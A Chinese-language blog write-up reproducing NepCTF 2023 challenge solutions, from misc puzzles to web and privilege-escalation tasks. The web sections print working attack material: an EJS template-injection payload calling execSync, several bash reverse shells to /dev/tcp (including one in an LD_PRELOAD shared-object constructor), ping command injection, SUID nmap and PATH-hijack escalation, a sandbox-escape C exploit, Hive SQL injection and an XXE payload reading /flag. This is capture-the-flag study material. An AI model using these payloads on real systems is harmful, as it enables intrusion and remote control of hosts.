NepCTF2023

Nepctf2023(复现)

比赛战队名:shimmer

MISC

checkin

NepCTF{H4ve_Fun_1N_This_Game}

与AI共舞的哈夫曼

利用AI写出对应的解压函数即可

def decompress(input_file, output_file):
    with open(input_file, 'rb') as f:
        # Read frequency information

        num_symbols = int.from_bytes(f.read(1), byteorder='big')
        frequencies = {}
        for _ in range(num_symbols):
            byte = int.from_bytes(f.read(1), byteorder='big')
            freq = int.from_bytes(f.read(4), byteorder='big')
            frequencies[byte] = freq

        # Build Huffman tree

        root = build_huffman_tree(frequencies)

        # Read compressed data

        compressed_data = ''
        while True:
            byte = f.read(1)
            if not byte:
                break

            compressed_data += format(ord(byte), '08b')

    current_node = root

    decompressed_data = ''
    for bit in compressed_data:
        if bit == '0':
            current_node = current_node.left

        else:
            current_node = current_node.right

        if current_node.char is not None:
            decompressed_data += chr(current_node.char)
            current_node = root

    with open(output_file, 'w') as f:
        f.write(decompressed_data)
Nepctf{huffman_zip_666}

codes

题目要求读取环境变量

#include <stdio.h>
 
int main(int argc,char **argv,char **envp){
	printf("the 1st envp is : %s\n",envp[0]);
	return 0;
}

env被列入黑名单,修改为其他变量名即可

//最终payload
#include <stdio.h>
 
int main(int argc,char **argv,char **enp){
	printf("the 1st envp is : %s\n",enp[12]);
	return 0;
}
Nepctf{easy_codes_49260e9f-bcb8-4bb3-9a8f-7c0418978cda_[TEAM_HASH]}

小叮弹钢琴

使用audacity打开

前半段为摩斯密码,长的为-,短的为.,中间空的为空格

youshouldusethistoxorsomething

后半段侧过来看是一串16进制

0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17

根据提示把他俩异或

b= 'youshouldusethistoxorsomething'
a = [0x37,0x0a,0x05,0x30,0x3c,0x29,0x0e,0x04,0x50,0x05,0x03,0x1c,0x2b,0x18,0x58,0x47,0x3a,0x5f,0x05,0x21,0x17,0x03,0x2c,0x39,0x23,0x0f,0x00,0x5d,0x1e,0x17]
e=''
for i in range(30):
    e += chr(ord(b[i])^a[i])
print(e)
NepCTF{h4ppy_p14N0}NepCTF{h4pp

陌生的语言

题目

根据提示Atsuko Kagari,找到小魔女学院,搜索小魔女学院文字发现新月文字

然后继续找到古龙语

img

image-20230817081407279

NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}

你也喜欢三月七吗

题目

啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!

需要经过啥256处理一下
salt_lenth= 10 
key_lenth= 16 
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

解析题目:群名、咸(salt)、sha256

Key为salt(群名)用sha256加密的前16位

看代码发现iv和key猜测是AES256

image-20230817083833353

用cyberchefMode要调为NoPadding

得到一张图片

https://img1.imgtp.com/2023/07/24/yOkXWSJT.png

图片

搜索星穹铁道文字I不容易看出是大写)

NepCTF{HRP_aIways_likes_March_7th}

ConnectedFive

看别人都说玩完就行,但还是搞不懂

EZII BASIC

题目关键词:1977年 世界上第一批大规模生产的个人电脑 BASIC语言

image-20230819031956318

image-20230819032307820

image-20230819032325509

image-20230819032355056

可以看到第十行是END

运行时把第十行修改一下

image-20230819032446411

然后RUN

image-20230819032625921

这里复现就不比对了

WEB(参考Boogipop的博客和官方WP)

(没环境复现,都是大佬的图,给的题目附件不会用)

ez_java_checkin

经典的shrio rememberMe反序列化

利用CC2的链去打

这里用工具一把梭

#算是非预期
cat /start.sh

#/bin/bash
export GZCTF_FLAG=NepcTF{Ezjava_Chekin}
echo $GZCTF_FLAG > /flag
export GZCTF_FLAG="HAHA,NO FLAG but boom."
su ctf -c "bash -c 'java -jar /ShiroSpring-0.0.1-SNAPSHOT.jar'"
#预期
ls /usr/bin -l|grep rws    ##查找可suid提权

find suid 提权
touch /tmp/evil&find /tmp/evil -exec cat /flag \;

Post Crad For You

两篇文章了解ejs模板注入

Ejs模板引擎注入实现RCE - 先知社区 (aliyun.com)

https://inhann.top/2023/03/26/ejs/

题目代码

var path = require('path');
const fs = require('fs');
const crypto = require("crypto");

const express = require('express')
const app = express()
const port = 3000

templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);

function sleep(milliSeconds){
    var StartTime =new Date().getTime();
    let i = 0;
    while (new Date().getTime() <StartTime+milliSeconds);

}

app.get('/', function(req, res) {
    return res.sendFile('./index.html', {root: __dirname});
});

app.get('/create', function(req, res) {
    let uuid;
    let name = req.query.name ?? '';
    let address = req.query.address ?? '';
    let message = req.query.message ?? '';
    do {
        uuid = crypto.randomUUID();
    } while (fs.existsSync(`${templateDir}/${uuid}.ejs`))

    try {
        if (name != '' && address != '' && message != '') {
            let source = ["source", "source1", "source2", "source3"].sort(function(){
                return 0.5 - Math.random();
            })
            fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
                fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
                sleep(2000);
            })
        } else {
            res.status(500).send("Params `name` or `address` or `message` empty");
            return;
        }
    } catch(err) {
        res.status(500).send("Failed to write file");
        return;
    }

    return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});

app.get('/page', (req,res) => {
    let id = req.query.pageid
    if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
        res.status(404).send("Sorry, no such id")
        return;
    }
    res.render(`${templateDir}/${id}.ejs`, req.query);
})

app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})

关键代码

app.get('/page', (req,res) => {
    let id = req.query.pageid
    if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
        res.status(404).send("Sorry, no such id")
        return;
    }
    res.render(`${templateDir}/${id}.ejs`, req.query);
})

req.query放入render存在ejs模板注入

正常ejs模板注入是利用opts.outputFunctionName 、opts.localsName 、opts.destructuredLocals

cve2022的Bypass是因为他们无法通过正则,于是找到opts.escapeFunction,使用opts.escapeFunction要保证opts.client不为空

此处使用cve2022的bypass (由于没有题目环境,无法确认,但应该是要绕过正则的)

payload如下

/page?pageid=符合格式的id&name=1&address=1&message=asdasd&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync('反弹shell');&settings[view options][client]=true

独步天下-转生成为镜花水月中的王者

法一

大佬把nmap给dump下来分析

root权限命令执行

payload: nmap "asd;sh"

法二

题目提示环境变量提权

先找拥有suid权限的

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

#操作时>/dev/null会报错

只有nmap

cd /tmp
echo "/bin/sh" > ports-alive   
chmod 777 ports-alive
export PATH=/tmp:$PATH
echo $PATH
nmap 127.0.0.1

一定要是ports-alive文件,因为nmap执行时会报错ports-alive:not found(就是这里被坑了)

nmap会调用ports-alive文件

独步天下-破除虚妄_探见真实

该类题为内网题目,需要使用内网工具进行内网探测 (这里无环境复现,也没有实际尝试过,也不会尝试,所以探测过程就不写了 ,下次一定)

运行ports-alive(题目中存在的端口探测脚本)

ports-alive not found 是因为使用的是shports-alive中是#!/bin/bash,把该标注修改为#!/bin/sh (那上面的nmap就不知道什么原因了)

echo "#!/bin/sh" |cat - ports-alive > temp && mv temp ports-alive

./ports-alive 192.168.200.2/24 0 100

192.168.200.1发现80和82端口

打开82端口

两处很明显能利用的地方

先尝试ping命令执行, ; && || %0a

ip_address=127.0.0.1%0als -l /

flag什么权限都没有 (用户为mysql) flag_mini什么权限也没有(用户为ctf)

第二关是读取flag_mini

大佬说尝试反弹shell回来,但这里做了一些过滤(官方说ban了chmod)

我猜测bash什么的应该是被禁用了,不然应该能直接bash反弹shell

然后想起文件上传

读取app.py

from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib

mylib = load_ping_library()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

看到文件上传的路由,审计一下

要求X-Forwarded-For请求头为127.0.0.1,限定文件后缀为png,上传的png文件最后命名为avatar.png

因为要反弹shell,(可以用python,也可以用C语言)

上传png文件内容为

import os
os.popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()

python3 avatar.png执行文件,成功反弹shell


这里之后的内容都不理解

需要做的是提权,看一下ps -ef有什么可疑进程

查看identity源码

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++)
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];

    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
        printf("IP address of eth0: %s\n", ip_address);
    } else {
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
        if(strcmp(client_ip,ip_address)) {
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;

image.png

监听了eth0的9999端口

文件描述符没有关闭,文件流也没关闭,可以连接父进程的openatfchmod这两个内置函数

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    const char* filename = "../../../../flag_mini";
    int fd = openat(3, filename, O_CREAT | O_WRONLY);
    if (fd == -1) {
        // 处理打开文件失败的情况
        printf("1");
    }
    // 更改文件权限为 777
    if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
        // 处理更改文件权限失败的情况
        printf("2");
    }
    // 使用新文件进行操作...
    return 0;
}

注意,由于ctf用户运行是在沙盒里,我们也需要切换过去

cd /home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e

echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d > poc.c


gcc poc.c -o poc

image.png

eth0网卡是172.17.0.19,源码中说了,会判断我们的nc是否和eth0对应的ip一样

nc 172.17.0.19 9999
Tmp-Command:./poc

成功修改权限

Ez_include

操作一下参数得到源代码

<?php
$jump_link = $_GET['link'];


if (isset($jump_link)) {

    include($jump_link. ".txt"); // More info? See "/var/www/html/hint.ini" or "./hint.ini"
    
}  else if (isset($_GET['hint'])) {
    
    highlight_file(__FILE__);
    
}

if (!isset($_GET['hint']) && !isset($jump_link)) {
?>
所以到底来没来? 且看 /<?php echo basename(__FILE__)?>?hint
<?php
}
?>

Boogipop大佬说一眼看出filterchain,虽然我在比赛前不久学过filterchain,但根本不知道这里为什么要使用

这里filterchain的问题是/tmp/resources/2.txt的内容为中文

要先对其进行base64-encode然后再进行filterchain

接着查看phpinfo(),发现禁了一堆东西

想用rce读取根目录下的flag,boogipop大佬的方法是劫持LD_PRELOAD

POST /jump.php?link=php://filter/.....
Host: nepctf.1cepeak.cn:31227
Content-Length: 15965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTxfOtxyr9SXcCydO
Connection: close

------WebKitFormBoundaryTxfOtxyr9SXcCydO
Content-Disposition: form-data; name="file"; filename="hack.so"
Content-Type: application/octet-stream
XXXXXXX
------WebKitFormBoundaryTxfOtxyr9SXcCydO
Content-Disposition: form-data; name="1"

var_dump(scandir('/tmp'));$a=scandir("glob:///tmp/php*");$filename="/tmp/".$a[0];var_dump($filename);putenv("LD_PRELOAD=$filename");mb_send_mail("","","");
------WebKitFormBoundaryTxfOtxyr9SXcCydO--
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryTxfOtxyr9SXcCydO--

编译c为恶意so文件

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 <&1'");

}

大佬执行的命令很细节,用glob伪协议去锁定php产生的临时文件,然后用mb_send_mail触发LD劫持

最后环境变量提权,有个showmsg文件

echo "/bib/bash">cat
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /
./showmsg

Hive it

hive数据库,一看版本是2.3.2.是一个有sql注入漏洞的版本,这个版本jdbc连接hive数据库会造成注入问题

题目提示token在real_token中,boogipop大佬测出能使用union

https://cwiki.apache.org/confluence/display/Hive/LanguageManual

real_token大写绕过

"name":"1\\' union all select token from REAL_TOKEN -- "

hit_si11y_Drunkbaby

XPATH出过CVE,存在XXE

SELECT xpath('<?xml version = "1.0"?>\n<!DOCTYPE ANY [\n\t<!ENTITY f SYSTEM "file:///flag">\n]>\n<root>&f;</root>','/root/text()');

Rerference

https://nepnep-team.feishu.cn/wiki/SlmLwUflEisv6EkIkFYc9J4Ennh

[NepCTF 2023 Web WriteUp - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/08/14/NepCTF 2023 All WriteUP/)


NepCTF2023
https://zer0peach.github.io/2023/08/31/NepCTF2023/
作者
Zer0peach
发布于
2023年8月31日
许可协议